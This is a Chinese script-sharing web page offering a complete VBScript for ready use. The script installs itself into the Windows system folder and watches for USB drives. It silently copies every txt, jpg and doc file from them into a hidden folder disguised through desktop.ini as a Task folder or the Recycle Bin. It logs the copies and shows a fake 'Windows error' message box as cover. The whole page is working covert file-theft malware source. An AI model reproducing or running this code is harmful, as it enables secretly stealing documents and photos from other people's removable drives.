脚本专栏 发布日期:2024/12/28 浏览次数:1
Copy.log记录的是原文件及复制后的文件。
vbs代码
复制代码 代码如下:
oStr = "txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32
'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close
'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType
else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if
Set fso=nothing
Set wshell=nothing
'遍历目录函数
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next
For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
End Function
'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function
'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)
Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing
Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing
End sub
'By:白开 QQ:343229025